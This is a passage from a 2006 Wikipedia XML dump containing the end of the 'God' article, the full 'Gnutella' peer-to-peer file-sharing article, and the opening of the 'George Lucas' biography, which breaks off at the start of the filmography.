::''One does not directly worship one's God. One must begin by the worship of the Guru.  Only by pleasing the Guru and gaining his mercy, can one offer anything to God.  Thus, before worshiping God, one must always worship the Guru.''

See also [[Guru]].

=== Christian Monism ===
Within the body of Christian belief, the only well-known developed system of monism is found within the recently developed (1975) teachings of the book known as [[A Course In Miracles]] (ACIM).  The philosophical system of ACIM presents what appears to be a unique synthesis of Hindu monistic [[Advaita Vedanta]] teachings, blended with the early Christian teaching of the universal-fatherhood-of-God belief.  In this philosophy God retains the traditional Christian role of an ''All loving, all forgiving Father'', as portrayed in the Christian allegory of the [[Prodigal Son]], yet God is also attributed with the qualities of complete ''oneness'' with all of mankind.  The apparent contrast between the existence of this ''oneness'' with God, and the common belief in human separation from God, is explained by the belief that man's apparent separation from God is a mere ''illusion'', an illusion that can be overcome by gaining a full understanding of, and by adopting an unfailing practice of, the dynamics of Christian forgiveness.

=== The Ultimate ===
Arguably, Eastern conceptions of [[The Ultimate]] (this, too, has many different names), except for Shaivism and Vaishnavism, which do focus on a personal God, are not conceptions of a ''personal'' divinity, though certain Western conceptions of what is at least ''called'' &quot;God&quot; (e.g., [[Baruch Spinoza|Spinoza's]] pantheistic conception and various kinds of mysticism) resemble Eastern conceptions of The Ultimate.

=== Aristotelian definition of God ===
''Main article: [[Aristotelian view of God]].''

In his [[Metaphysics]], [[Aristotle]] discusses  meaning of &quot;being as being&quot;. Aristotle holds that &quot;being&quot; primarily refers to the [[Unmoved Mover]]s, and assigned one of these to each movement in the heavens. Each Unmoved Mover continuously contemplates its own contemplation, and everything that fits the second meaning of &quot;being&quot; by having its source of motion in itself, moves because the knowledge of its Mover causes it to emulate this Mover (or should).

Aristotle's &quot;unmoved mover&quot; is very unlike the conception of God which one sees in most religions. It has been likened to a person who is playing [[domino]]s and pushes one of them over, so that every other domino in the set is pushed over as well, without the being having to do anything about it. This differs to the interpretation of God in most religions, where He is seen to be [[Immanence|personally involved]] in His creation.

Aristotle's definition of God attributes perfection to this being, and as a perfect being can and only contemplate upon perfection and not on imperfection, otherwise perfection would not be one of his attributes. God, according to Aristotle, is in a state of &quot;stasis&quot; untouched by change and imperfection.

In the 18th century, the french educator [[Allan Kardec]] brought a very similar conception of God during his work of codifying [[Spiritism]].

=== Modern views ===
==== Process philosophy and Open Theism====
* [[Process theology]] is a school of thought influenced by the metaphysical [[process philosophy]] of [[Alfred North Whitehead]] ([[1861]]-[[1947]]).  
* [[Open theism]], a theological movement that began in the 1990s, is similar, but not identical, to Process theology.

In both views, God is not omnipotent in the classical sense of a coercive being. Reality is not made up of material substances that endure through time, but serially-ordered events, which are experiential in nature. The universe is characterized by process and change carried out by the agents of free will. Self-determination characterizes everything in the universe, not just human beings. God and creatures co-create.  God cannot force anything to happen, but rather only influence the exercise of this universal free will by offering possibilities. See the entries on [[Process theology]], [[Panentheism]], and [[Open theism]].


====Posthuman God====
Similar to this theory is the belief or aspiration that humans will create a God entity, emerging from an [[artificial intelligence]].
[[Arthur C. Clarke]], world-renowned [[science fiction]] author, said in an interview,
&quot;It may be that our role on this planet is not to worship God, but to create him.&quot;  Clarke's friend and colleague, the late [[Isaac Asimov]], postulated in his story &quot;[[The Last Question]]&quot; a merger between humanity and machine intelligence that ultimately produces a deity capable of reversing [[entropy]] and subsequently initiates a new Creation trillions of years from the present era when the Universe is in the last stage of [[heat death]].

Another variant on this hypothesis is that humanity or a segment of humanity will  create  or [[evolution|evolve]] into a [[posthuman]] God by itself; for some examples, see [[Christian transhumanism]], [[technological singularity]], and [[omega point]].

====Extraterrestrials====
Some comparatively new belief systems and books portray God as  [[Extraterrestrial life]].  Many of these theories hold that intelligent beings from another world have been visiting Earth for many thousands of years, and have influenced the development of our religions. Some of these books posit that prophets or messiahs were sent to the human race in order to teach morality and encourage the development of civilization. (See e.g. [[Rael]]).  [[Francis Crick]], co-discoverer of the structure of [[DNA]], suggested that life on Earth [[panspermia | originated far away]] because of what he considered to be a miniscule timeframe allotted by scientists for the [[abiogenesis | emergence]] of life on Earth.

====Phenomenological definition====
The philosopher [[Michel Henry]] defines God in a phenomenological point of view. He says : &quot;God is Life, he is the essence of [[Philosophy of the life|Life]], or, if we prefer, the essence of Life is God.  Saying this we already know what is God, we know it not by the effect of a learning or of some knowledge, we don’t know it by the thought, on the background of the truth of the world ; we know it and we can know it only in and by the Life itself. We can know it only in God.&quot; (''I Am the [[Truth of Life|Truth]]. Toward a Philosophy of Christianity'').  

This Life is not biological life defined by objective and exterior properties, nor an abstract and empty philosophical concept, but the absolute [[phenomenological life]], a radically immanent life which possesses in it the power of showing itself in itself without distance, a life which reveals permanently itself.

==== The Rosicrucian conception of God ====
''Main article: [[The Rosicrucian Cosmo-Conception#The Rosicrucian conception of God and the scheme of evolution|The Rosicrucian Cosmo-Conception]]''

According to [[Max Heindel]]'s ''The Rosicrucian Cosmo-Conception'', and in [[Esoteric Christianity]], in the beginning of a ''Day of Manifestation'' a certain collective Great Being, God, limits Himself to a certain portion of space, in which He elects to create a [[Solar System]] for the evolution of added self-[[consciousness]].

Heindel states that in the Solar system, God's Habitation, there are [[Rosicrucian Fellowship#The Seven Worlds .26 the Seven Cosmic Planes|seven Worlds]] differentiated by God, within Himself, one after another.
Rosicrucians teach that the, above referred, seven Worlds belong to the lowest of the seven &quot;Cosmic Planes&quot;. The Worlds and Cosmic Planes are not one above another in space, but the seven Cosmic Planes inter-penetrate each other and all the seven Worlds. They are states of spirit-matter, permeating one another, so that God and the other great Beings pervade every part of their own realms and realms of greater density than their own, including our world.

== Notes and references ==
* [[Cliff Pickover|Pickover, Cliff]], &lt;cite&gt;The Paradox of God and the Science of Omniscience&lt;/cite&gt;, Palgrave/St Martin's Press, 2001.
* [[Jack Miles|Miles, Jack]], &lt;cite&gt;God : A Biography&lt;/cite&gt;, Knopf, 1995;  [http://www.jackmiles.com/default.asp?ID=15 Book description].
* [[Karen Armstrong|Armstrong, Karen]], &lt;cite&gt;A History of God: The 4,000-Year Quest of Judaism, Christianity and Islam&lt;/cite&gt;, Ballantine Books, 1994.
* [[Fr. Mike Rotch|Rotch, Mike]], &lt;cite&gt;God, the Sheep, and Me... And Other Stories of Godly En(tendre)counters&lt;/cite&gt;, Modern Christian Press, 2003.
* [[Dr. Michael Sharp|Sharp, Michael]], &lt;cite&gt;The Book of Light: The Nature of God, the Structure of Consciousness, and the Universe within you. Avatar Publications, 2005. [ISBN 0973855525]. [http://bookoflight.michaelsharp.org/?act=intro0973855525 free as eBook]

==Popular culture==
*God was played by [[Alanis Morissette]] in [[Kevin Smith]]'s ''[[Dogma (film)|Dogma]]''.
*[[Morgan Freeman]] played God in the [[Jim Carrey]] film ''[[Bruce Almighty]]''.
*[[George Burns]] played God in ''[[Oh God!]]'' and its two sequels. He also played the devil.
*In ''[[It's a Very Merry Muppet Christmas Movie]]'', the unnamed character played by [[Whoopi Goldberg]] was evidently meant to portray &quot;God&quot;.
*[[Steve Coogan]] played God in ''[[24 Hour Party People]]''.
*In ''[[Monty Python and the Holy Grail]]'', God was represented by an animated  photograph of cricketer [[W. G. Grace]].
*God, depicted through numerous human-looking avatars, was a central character in ''[[Joan of Arcadia]]''.
*God was the title of a [[John Lennon/Plastic Ono Band|song by John Lennon]], which defines God as &quot;a concept by which we measure our pain.&quot; 'God' is also the title of a song by [[Tori Amos]] from the album ''[[Under The Pink]]''.
*God is the main villain of the comic book series ''[[Preacher (comics)|Preacher]]''.
*In the [[Western World]], God is frequently depicted as an old white man with long white hair and a white beard.  The popular American television show ''[[The Simpsons]]'' has played on this characterization, depicting God similiarly, but with the show's unique yellow-caucasian skin. In ''[[South Park]]'' God is depicted against this type, short and resembling an odd looking rodent creature.

==See also==
{| style=&quot;background-color: transparent; width: {{{width|100%}}}&quot;
&lt;p&gt;&lt;/p&gt;
| width=&quot;50%&quot; align=&quot;{{{align|left}}}&quot; valign=&quot;{{{valign|top}}}&quot; |
* [[Allah]]
* [[Atheism]]
* [[Agnosticism]]
* [[Ayya Vaikundar]]
* [[Baal]]
* [[Deism]]
* [[Existence of God]]
* [[God and gender]]
* [[God complex]]
* [[God in Buddhism]]
* [[God realm]]
* [[Jesus]]
* [[Jehovah]]
* [[Krishna]]
&lt;p&gt;&lt;/p&gt;
| width=&quot;50%&quot; align=&quot;{{{align|left}}}&quot; valign=&quot;{{{valign|top}}}&quot; |
* [[List of appearances of God in fiction]]
* [[Natural theology]]
* [[Nontheism]]
* [[Pantheism]]
* [[Polytheism]]
* [[Higgs boson|The Higgs boson, ''the God particle'']]
* [[Spiritism]]
* [[The All]]
* [[Theism]]
* [[Transtheism]]
* [[The Urantia Book]]
* [[Plane (cosmology)|Planes of existence]]
* [[Yahuah]]
* [[Yazidi]]
&lt;p&gt;&lt;/p&gt;
|}

== External links==
{{wikiquote}}
*Cheung, Vincent (2003). [http://www.rmiweb.org/books/theology2003.pdf &quot;Systematic Theology&quot;]
*Draye, Hani (2004). [http://sultan.org/articles/god.html Concept of God in Islam]. Retrieved [[2005-06-26]].
*[http://www.aish.com/literacy/concepts/Understanding_God.asp Jewish Literacy]. Retrieved [[2005-06-26]].
*Preston, Gregory (2005). [http://www.lulu.com/GregoryPreston Seeking Divine Guidance &amp;amp; Concepts of God].
*Nicholls, David (2004). [http://web.archive.org/web/20041013082021/http://www.atheistfoundation.org.au/doesgodexist.htm DOES GOD EXIST?]. Retrieved [[2005-06-26]].
*Salgia, Amar (1997)[http://www.dd-b.net/~raphael/jain-list/msg01332.html Creator-God and Jainism] Retrieved [[2005-10-18]].
*shaivam.org (2004). [http://www.shaivam.org/hipgodco.htm Hindu Concept of God]. Retrieved [[2005-06-26]].
*Schlecht, Joel (2004). [http://www.freewebs.com/thegodparticle/ The God Particle]. Retrieved [[2005-06-26]].
*Stanford Encyclopedia of Philosophy (2004). [http://plato.stanford.edu/entries/moral-arguments-god/ Moral Arguments for the Existence of God]. Retrieved [[2005-06-26]].
*Stanford Encyclopedia of Philosophy (2005). [http://plato.stanford.edu/entries/god-necessary-being/ God and Other Necessary Beings]. Retrieved [[2005-06-26]].
*Students of Shari'ah (2005). [http://www.studentsofshariah.com/proof_of_creator.php Proof Of Creator]. Retrieved [[2005-06-26]].
*[http://www.allaboutgod.com Scientific &amp;amp; Philosophical Arguments for God]. Retrieved [[2005-09-09]].
*[http://www.wikichristian.org/index.php?title=God God at WikiChristian]
* [http://adishakti.org Jagbir Singh. Shri Adi Shakti: The Kingdom Of God] - e-book about common in prophecies in different religions and understanding of God

[[Category:Gods|*]]
[[Category:Bahá'í]]
[[Category:Christianity]]
[[Category:Deities]]
[[Category:Islam]]
[[Category:Judaism]]
[[Category:Spirituality]]
[[Category:Singular God]]

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[[bn:ঈশ্বর]]
[[br:Doue]]
[[ca:Déu]]
[[cs:Bůh]]
[[da:Gud]]
[[de:Gott]]
[[el:Θεός]]
[[et:Jumal]]
[[es:Dios]]
[[eo:Dio]]
[[fr:Dieu]]
[[hi:ईश्वर]]
[[ko:신]]
[[id:Tuhan]]
[[ia:Deo]]
[[is:Guð]]
[[it:Dio]]
[[he:אלוהים]]
[[ku:Xwedê]]
[[la:Deus]]
[[lv:Dievs]]
[[lt:Dievas]]
[[hu:Isten]]
[[ms:Tuhan]]
[[nl:God]]
[[ja:神]]
[[no:Gud]]
[[nn:Gud]]
[[pl:Bóg]]
[[pt:Deus]]
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[[sk:Boh]]
[[sl:Bog]]
[[yi:גאט]]
[[sr:Бог]]
[[fi:Jumala]]
[[sv:Gud]]
[[tl:Diyos]]
[[vi:Thiên Chúa]]
[[uk:Бог]]
[[zh:上帝]]
[[ig:Chineke]]</text>
    </revision>
  </page>
  <page>
    <title>Gnutella</title>
    <id>11856</id>
    <revision>
      <id>42113854</id>
      <timestamp>2006-03-03T22:35:18Z</timestamp>
      <contributor>
        <username>RexNL</username>
        <id>241337</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/166.70.196.17|166.70.196.17]] ([[User talk:166.70.196.17|talk]]) to last version by FlaBot</comment>
      <text xml:space="preserve">'''''Gnutella''''' (pronounced {{IPA|/nʌˈtɛlə/}} or {{IPA|/gnʌˈtɛlə/}}) is a  [[file sharing]] network used primarily to exchange music, films and software. It is a true [[peer-to-peer]] network; it operates without a central server.  Files are exchanged directly between users.

Gnutella [[Client (computing)|client]] programs connect to the network and share files. Search queries are passed from one node to another in round-robin fashion. Gnutella clients are available for a number of [[Platform (computing)|platforms]]. 

According to the file sharing website [[Slyck.com]], Gnutella is the second-most-popular file sharing network in the Internet, following [[eDonkey network|eDonkey 2000]]. While figures vary from hour to hour and day to day, Gnutella is thought to host on average approximately 2.2 million users, although around 400,000-500,000 are on at any given moment.
[http://www.slyck.com/news.php?story=814]

==History==

The first client was developed by [[Justin Frankel]] and [[Tom Pepper]] of [[Nullsoft]], in early [[2000]], soon after the company's acquisition by [[AOL]]. On March 14, the program was made available for download on Nullsoft's servers. The event was prematurely announced on [[Slashdot]], and thousands downloaded the program that day. The [[source code]] was to be released later, supposedly under the [[GNU General Public License]] (GPL). 

The next day, AOL stopped the availability of the program over legal concerns and restrained Nullsoft from doing any further work on the project. This did not stop Gnutella; after a few days, the protocol had been [[reverse engineering|reverse engineered]], and compatible [[open source|open-source]] clones began to appear. This parallel development of different clients by different groups remains the ''[[modus operandi]]'' of Gnutella development today.

The Gnutella network is a fully distributed alternative to such semi-centralized systems as [[FastTrack]] ([[KaZaA]]) and such centralized systems as [[Napster]].  Initial popularity of the network was spurred on by Napster's threatened legal demise in early 2001. This growing surge in popularity revealed the limits of the initial protocol's scalability. In early 2001, variations on the protocol (first implemented in closed-source clients) allowed somewhat of an improvement in scalability. Instead of treating every user as client and server, some users were now treated as &quot;ultrapeers&quot;, routing search requests and responses for users connected to them.

This allowed the network to grow in popularity. In late 2001, the Gnutella client [[LimeWire]] became [[open source]]. In February 2002, [[Morpheus (computer program)|Morpheus]], a commercial file-sharing group, abandoned its [[FastTrack]]-based peer-to-peer software and released a new client based on the open source Gnutella client [[Gnucleus]].

The word &quot;Gnutella&quot; refers not to any one project or piece of software, but to the open protocol used by the various clients. Since various parties are developing new clients, and the protocol will likely continue to evolve, it is hard to say what the word 'Gnutella' will come to mean in the future.

The name is a [[portmanteau]] of ''[[GNU]]'' and ''[[Nutella]]'': supposedly, Frankel and Pepper ate a lot of Nutella working on the original project, and intended to license their finished program under the GNU General Public License. Gnutella is not associated with the [[GNU|GNU project]]; see [[GNUnet]] for the GNU project's equivalent.

==How it works==
To envision how Gnutella works, imagine a large circle of users (called nodes), who each have Gnutella client software.  The client software on the initial use must [[bootstrap]] and find at least one of those other nodes.  Different methods have been used for this, including a pre-existing list of possibly working node addresses shipped with the software, using Gwebcache sites on the web to find nodes, as well as using [[Internet Relay Chat|IRC]] to find nodes.  Chances are at least one node (call it B) will work.  Once it has connected, node B will send node A its own list of working nodes. Node A will try to connect to the nodes it was shipped with, as well as nodes it receives from other nodes, until it reaches a certain quota, usually user-specifiable. It will only connect to that many nodes, but it keeps the nodes it has not yet tried. (It discards ones that it tries but did not work.)

Now, when user A wants to do a search, it sends the request to each node it is actively connected to. It is possible that some of them will no longer work, in which case user A tries to connect to the nodes it has saved as backups. The number of actively connected nodes for user A is usually quite small (around 5), so each node then forwards the request to all the nodes it is connected to, and they in turn forward the request, and so on. In theory, the request will eventually find its way to every user on the Gnutella network.  As the size of the Gnutella network has grown and its developers have fought excess traffic consumption, global searchability of the network has diminished.

If a search request turns up a result, the node that had the result contacts the searcher either directly or indirectly.  If the node that sent the search request is not [[Firewall (networking)|firewall]]ed, the node with the result directly returns the result.  If the node that sent the search request is firewalled (many are), then the result is (indirectly) routed back along the route the search was received on.  After the result is returned, they negotiate the file transfer and the transfer proceeds. If more than one copy of the same file is found, the searcher can perform a &quot;swarm&quot; download - download pieces of the file from different nodes a la [[BitTorrent]]. This results in increased download rates.

Finally, when user A disconnects, the client software saves the list of nodes that it was actively connected to, and that it was keeping as a backup, for use next time it connects.

In practice, searching on the Gnutella network is often unreliable. Each node is a regular computer user; as such, they are constantly connecting and disconnecting, so the network is never completely stable. Since individual users' bandwidth are likely to be limited, some search requests may be dropped before they reach the whole network. As a result most queries will never reach more than 50% of the network.

The real benefit of having Gnutella so decentralized is to make it very difficult to shut the network down. Unlike [[Napster]], where the entire network relied on the central server, Gnutella cannot be shut down by shutting down any one node. As long as there are at least two users, Gnutella will continue to exist.

==Protocol features and extensions==
Gnutella operates on a [[query flooding]] protocol. The outdated Gnutella version 0.4 [[network protocol]] employs five different packet types, namely

* ping: discover hosts on network
* pong: reply to ping
* query: search for a file
* query hit: reply to query
* push: download request for firewalled [[servent]]s

These are mainly concerned with searching the Gnutella network. File transfers are handled using [[HTTP]].

The development of the Gnutella protocol is currently led by the [[Gnutella Developers Forum|GDF]] (Gnutella Developer Forum). Many protocol extensions have been and are being developed by the software vendors and free Gnutella developers of the GDF. These extensions include intelligent query routing, [[SHA-1]] checksums, query hit transmission via [[User Datagram Protocol|UDP]], querying via UDP, dynamic queries via [[Transmission Control Protocol|TCP]], file transfers via UDP, [[XML]] meta data, source exchange a.k.a &quot;the download mesh&quot; and parallel downloading in slices (swarming). 

There are efforts to finalize these protocol extensions in the Gnutella 0.6 specification at the Gnutella protocol development website. The Gnutella 0.4 standard, although being still the latest protocol specification since all extensions only exist as proposals so far, is outdated. In fact, it is hard to impossible to connect today with the 0.4 handshake. 

The Gnutella protocol remains under development and in spite of attempts to make a clean break with the complexity inherited from the old Gnutella 0.4 and to design a clean new message architecture (such as [[Gnutella2]]), it is still one of the most successful file-sharing protocols to date.

==Software==
{| class=&quot;wikitable&quot;
! Name || Platform || License
|-
| [[Acquisition (software)|Acquisition]] || [[Mac OS X]] || [[Closed source]]
|-
| [[Acqlite]] || [[Mac OS X]] || [[GNU GPL]]
|-
| [[Apollon (GUI)]] || [[Unix-like]]/[[KDE]] || [[GNU GPL]]
|-
| [[BearShare]] || [[Microsoft Windows]] || [[Closed source]]
|-
| [[Cabos]] || [[Java platform|Java]] || [[GNU GPL]]
|-
| [[CocoGnut]] || [[RISC OS]] || [[Freeware]]
|-
| [[DM2]] || [[Microsoft Windows]] || [[Freeware]]
|-
| [[FrostWire]] || [[Java platform|Java]] || [[GNU GPL]]
|-
| [[giFT]] || [[Unix-like]], [[Microsoft Windows]], [[Mac OS X]], [[AmigaOS]] || [[GNU GPL]]
|-
| [[Gnucleus]] || [[Microsoft Windows]] || [[GNU GPL]], [[GNU LGPL]]
|-
| [[Gtk-gnutella]] || [[Unix-like]] || [[GNU GPL]]
|-
| [[Gluz]] || [[Java Platform|Java]] || [[Closed source]]
|-
| [[iMesh]] || [[Microsoft Windows]] || [[Closed source]]
|-
| [[KCeasy]] || [[Microsoft Windows]] || [[GNU GPL]]
|-
| [[Kiwi Alpha]] || [[Microsoft Windows]] || [[Closed source]]
|-
| [[LimeWire]] || [[Java platform|Java]] || [[GNU GPL]]
|-
| [[MLdonkey]] || [[Unix-like]], [[Microsoft Windows]], [[Mac OS X]], [[MorphOS]] || [[GNU GPL]]
|-
| [[Morpheus (computer program)|Morpheus]] || [[Microsoft Windows]] || [[Closed source]]
|-
| [[Mutella]] || [[Unix-like]] || [[GNU GPL]]
|-
| [[Phex]] || [[Java platform|Java]] || [[GNU GPL]]
|-
| [[Poisoned]] || [[Mac OS X]] || [[GNU GPL]]
|-
| [[Qtella]] || [[Unix-like]] || [[GNU GPL]]
|-
| [[Shareaza]] || [[Microsoft Windows]] || [[GNU GPL]]
|-
| [[Swapper.NET]] || [[Microsoft Windows]] || [[Closed source]]
|-
| [[Symella]] || [[Symbian OS]] || [[GNU GPL]]
|-
| [[XFactor]] || [[Mac OS X]] || [[Open source]]
|-
| [[XNap]] || [[Java platform|Java]] || [[GNU GPL]]
|-
| [[XoloX]] || [[Microsoft Windows]] || [[Closed source]]
|}

==See also==

*[[Gnutella2]], a reworked network based on Gnutella
*[[Bitzi]], an [[open content]] file catalog integrated with some Gnutella clients
*[[Wikisource:GnuFU|GnuFU]], '''Gnu'''tella '''F'''or '''U'''sers: A description of the inner workings of the Gnutella network in User-Friendly Style
*[[Gnutella crawler]], a program used to gather information from the Gnutella network
*[[WASTE]], a different network developed by [[Justin Frankel]]
*[[Freenet]], a different network which focuses on anonymization
*[[MUTE]], a different network which focuses on anonymization, routing network traffic according to an algorithm adopted from ant behaviour.

==External links==
* '''[http://www.the-gdf.org/wiki/index.php?title=Main_Page Gnutella Protocol Development Wiki]'''
* '''[http://rfc-gnutella.sf.net/ Gnutella protocol development website].'''

* [http://www.gnutelliums.com/ Gnutelliums] - A list of Gnutella clients for Windows, Linux/Unix, and Macintosh
* [http://www.gnutellanews.com/ Gnutella News]
* [http://www.gnutellaforums.com/ Gnutella Forums]
* [http://gnufu.net GnuFU: Gnutella For Users] &amp;ndash; A guide to Gnutella in Userfriendly style
* [http://schnarff.com/gnutelladev/source/pytella/ Pytella] &amp;ndash; A collection of bits of Gnutella 0.4 related Python code
* [http://www.cryptnet.net/fsp/cpcd/ CPCD] - Gnutella host cache software
* [http://www.gnucleus.com/gwebcache/ GWebCache] - Gnutella host cache software

===Papers on Gnutella and Filesharing===
*[http://www.pam2004.org/programme.html The 5th annual Passive &amp; Active Measurement Workshop]
* ''[http://shumans.com/p2p-business-models.pdf Advanced Peer-Based Technology Business Models]''. [[Shuman Ghosemajumder|Ghosemajumder, Shuman]]. [[MIT Sloan School of Management]], 2002.
* ''[http://hbswk.hbs.edu/item.jhtml?id=4206&amp;t=innovation Music Downloads: Pirates- or Customers?]''. Silverthorne, Sean. [[Harvard Business School|Harvard Business School Working Knowledge]], 2004.

[[Category:File sharing networks]]
[[Category:Computing portmanteaus]]

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    </revision>
  </page>
  <page>
    <title>George Lucas</title>
    <id>11857</id>
    <revision>
      <id>42080917</id>
      <timestamp>2006-03-03T18:18:17Z</timestamp>
      <contributor>
        <username>Marudubshinki</username>
        <id>190816</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/70.92.129.179|70.92.129.179]] ([[User talk:70.92.129.179|talk]]) to last version by Masterv88</comment>
      <text xml:space="preserve">[[Image:GeorgeLucas.jpg|thumb|230px|George Lucas.]]

'''George Walton Lucas, Jr.''' (born [[May 14]], [[1944]]) is an [[United States|American]] [[film director]], [[film producer|producer]], and [[screenwriter]] famous for his epic ''[[Star Wars]]'' saga and his [[Indiana Jones]] films. He is one of Hollywood's most financially successful directors and producers.

== Biography ==
George Walton Lucas, Jr. was born in [[Modesto, California]]. His father, George Walton Lucas, Sr., ran a stationery store and owned a small walnut orchard and was mainly of British and Swiss heritage. His mother, Dorothy Ellinore Bomberger Lucas, was a member of a prominent [[Modesto]] family (one of her cousins is the mother of former U.S. Secretary of Agriculture [[Ann Veneman]]) and was mainly of German and Scots-Irish heritage.

Lucas attended Thomas Downey High School, where he was an indifferent student at best and dreamed of becoming a professional race car driver. That early dream ended [[June 12]], [[1962]], when he crashed his [[Fiat Bianchina]]. The car was clipped from behind while he tried to make a left turn into his driveway. The car rolled; the racing harness that he had installed snapped, and he was thrown from the car. Had the harness not snapped&amp;mdash;and Lucas has said it shouldn't have&amp;mdash;he would most likely have been crushed to death by the steering column when the car smashed into a walnut tree. (The force of the impact uprooted the tree).

During his recovery, Lucas reevaluated his life and decided to go to college. He enrolled at [[Modesto Junior College]], where he earned an AA degree, then transferred to the [[University of Southern California]]'s [[USC School of Cinema-Television|School of Cinema-Television]]. USC was one of the earliest universities to have a school devoted to film studies. There he made a number of short films, including an early version of ''[[THX 1138]]'' (the complete title was &quot;Electronic Labyrinth THX 1138 4EB&quot;), which later became his first full-length feature film.

After graduating with a bachelor of fine arts in film in 1966, he drifted a little, trying to figure out what to do next. He tried joining the Air Force as an officer, but was turned down because of his numerous speeding tickets. He was later drafted by the Army, but tests showed he had [[diabetes]], which killed his paternal grandfather.  Lucas was prescribed medication for the disease and does not seem to have required insulin. In 1967, Lucas re-enrolled as a USC graduate student in film production.

Eventually he co-founded the studio [[American Zoetrope]] with [[Francis Ford Coppola]], hoping to create a liberating environment for filmmakers to direct outside the perceived oppressive control of the Hollywood [[Studio system]]. From the financial success of his films ''[[American Graffiti]]'' (1973) and ''[[Star Wars Episode IV: A New Hope]]'' (1977), Lucas was able to set up his own studio, [[Lucasfilm]], in [[Marin County, California|Marin County]] in his native northern California. [[Skywalker Sound]] and [[Industrial Light and Magic]],  the sound and visual effects subdivisions of Lucasfilm, respectively, have become among the most respected firms in their fields. Lucasfilm Games, later renamed to [[LucasArts]], is highly regarded in the gaming industry.

''Star Wars Episode IV: A New Hope'' is considered by some to be the first &quot;[[high concept]]&quot; [[film]], although others feel the first was [[Steven Spielberg]]'s ''[[Jaws (film)|Jaws]]'', released two years prior.  Lucas and Spielberg had been acquaintances for some time and eventually worked together on several films, notably the first Indiana Jones vehicle, ''[[Raiders of the Lost Ark]]'' in 1981.

On a return on investment basis, ''[[Star Wars Episode IV: A New Hope]]'' proved to be one of the most successful films of all time. During the filming of ''Star Wars Episode IV: A New Hope'', Lucas waived his up front fee as director and negotiated to own the licensing rights&amp;mdash;rights which the studio thought were nearly worthless.  This decision earned him hundreds of millions of dollars as he was able to directly profit from all the licensed games, toys and collectibles created for the franchise. In 2004 [[Forbes Magazine]] estimated Lucas' personal wealth at $3 billion. In 2005 Forbes.com estimated the lifetime revenue generated by the ''Star Wars'' franchise at nearly $20 billion.

Lucas was fined by the [[Directors Guild of America]] for refusing to have a standard [[title sequence]] in his ''Star Wars'' films. After paying the fine, he quit the guild.  This made it hard for him to find a director for some of his later projects. According to some, he wanted his friend Spielberg to direct some of the later ''Star Wars'' movies, but as a member of the guild Spielberg may have been unable to do so. Spielberg has repeatedly stated that Lucas consciously did not let him direct any ''Star Wars'' films, despite the fact that Spielberg wanted to. Other directors Lucas pursued to aid him were [[David Lynch]] and [[David Cronenberg]], both of whom declined. 

On [[October 3]] [[1994]], Lucas started to write the three ''Star Wars'' prequels, and on [[November 1]] that year, he left the day-to-day operations of his filmmaking business and started a sabbatical to finish the prequels.

The [[American Film Institute]] awarded Lucas its Lifetime Achievement Award for 2005. He received the award on [[June 9]], [[2005 in film|2005]]. [http://www.afi.com/tvevents/laa/laa05.aspx]

On [[June 5]] [[2005]], Lucas was named 100th &quot;[[The Greatest American|Greatest American]]&quot; by the [[Discovery Channel]].

In [[1969]], Lucas married film editor [[Marcia Lucas|Marcia Lou Griffin]], who went on to win an Oscar for her work on the original (fourth) ''Star Wars'' film.  They adopted a daughter, Amanda, in [[1981]], and divorced in [[1983]]. Lucas has since adopted two more children: Katie, born in [[1988]], and Jett, born in [[1993]]. All three of his children have appeared in the prequels.

In 2005, Lucas gave $1 million to help build the [[Martin Luther King, Jr. National Memorial]] on the [[National Mall]] in [[Washington D.C.]] to commemorate American [[civil rights]] leader [[Martin Luther King, Jr.|Martin Luther King Jr.]].
==Innovator==
[[image:GeorgeLucas2.jpg|thumb|210px|George Lucas.]]
Besides his directorial and production work on movies, Lucas is the most significant contemporary contributor to modern movie technology.  In [[1975]] Lucas established [[Industrial Light and Magic]] (ILM) in [[Van Nuys, California|Van Nuys, CA]], which was responsible for the invention of the special computer assisted camera crane &quot;[[Dykstraflex]]&quot; (named after special effects innovator, John Dykstra) that was used for most of the space fight sequences used in the ''Star Wars'' movies (technology which was later adopted by most other [[visual effects]] production units, such as those responsible for ''[[Battlestar Galactica (1978)|Battlestar Galactica]]'' and ''[[Star Trek: The Next Generation]]''). Through ILM, Lucas spurred the further development of [[computer graphics]], [[film laser scanner]]s and the earliest use of [[3D computer graphics|3D computer character animation]] in a film, ''[[Young Sherlock Holmes]]''. Lucas sold his early computer development unit to [[Steve Jobs]] in [[1986]], which was renamed [[Pixar]].

Lucas is also responsible for the modern [[sound system]]s found in many movie theaters. Though Lucas didn't invent [[THX]], he is responsible for its development. The acronym ostensibly stands for &quot;Tomlinson Holman eXperiment&quot; after its chief engineer, however, it is obviously a reference to Lucas' first film.

Now Lucas is spearheading digital photography for movies. Though personal [[digital photography]] is now mainstream, most movie studios still use traditional cameras and film for movie production. Lucas departed from this model by filming ''[[Star Wars Episode II: Attack of the Clones]]'' almost completely digitally. He showed the result to a select audience of the [[Hollywood]] elite, before the movie's general release. For the presentation, Lucas used a special digital projection system. The attendees said the movie had the clearest and sharpest presentation they had ever seen.

Despite the successful demonstration of the technology, movie studios are slow to move to this new model, in part because of the high price of the digital equipment.

== Controversy ==
{{main|Lucas Bashing}}

Being the creator of an extremely popular work (''Star Wars''), Lucas has undergone severe [[fan criticism of George Lucas|criticism from ''Star Wars'' fans]] when he has gone back and altered ''Star Wars''.  This first occurred with the Star Wars [[List_of_changes_in_Star_Wars_re-releases#1997_Special_Editions|1997 special editions]], which primarily consisted of cosmetic changes, but had some controversial elements such as the anti-hero Han Solo [[Han Shot First|shooting in self defense]] instead of in aggression.  It occurred again with the [[List_of_changes_in_Star_Wars_re-releases#2004_DVDs|2004 DVD release]] of the original trilogy.

In addition, the mixed reviews and an increased level of vocalized disappointment by some fans relating to the ''Star Wars'' [[Prequel trilogy (Star Wars)|Prequel Trilogy]] films have greatly stoked the debate concerning Lucas' treatment of certain characters and concepts in comparison to the 1977-1983 Star Wars films. 

Changes Lucas personally made to ''[[THX 1138]]'' for its 2004 DVD release further re-enforced criticism from fans who felt that he was spoiling the integrity of his original films.

Lucas is also viewed by some to be anti-union. He dropped his membership in the directors guild when they fined him $250,000 for the fact that ''Star Wars'' had no opening credits. He subsequently filmed the remaining ''Star Wars'' films primarily outside of the United States, and primarily with non-union crew.

These anti-union allegations, however, have been contradicted by major national unions.  The AFL-CIO awarded Lucas with the Top Labor Management Award in 2002.

== Filmography ==

=== Most notable films ===

*''[[THX 1138]]'' ([[1970]]) (director, writer)
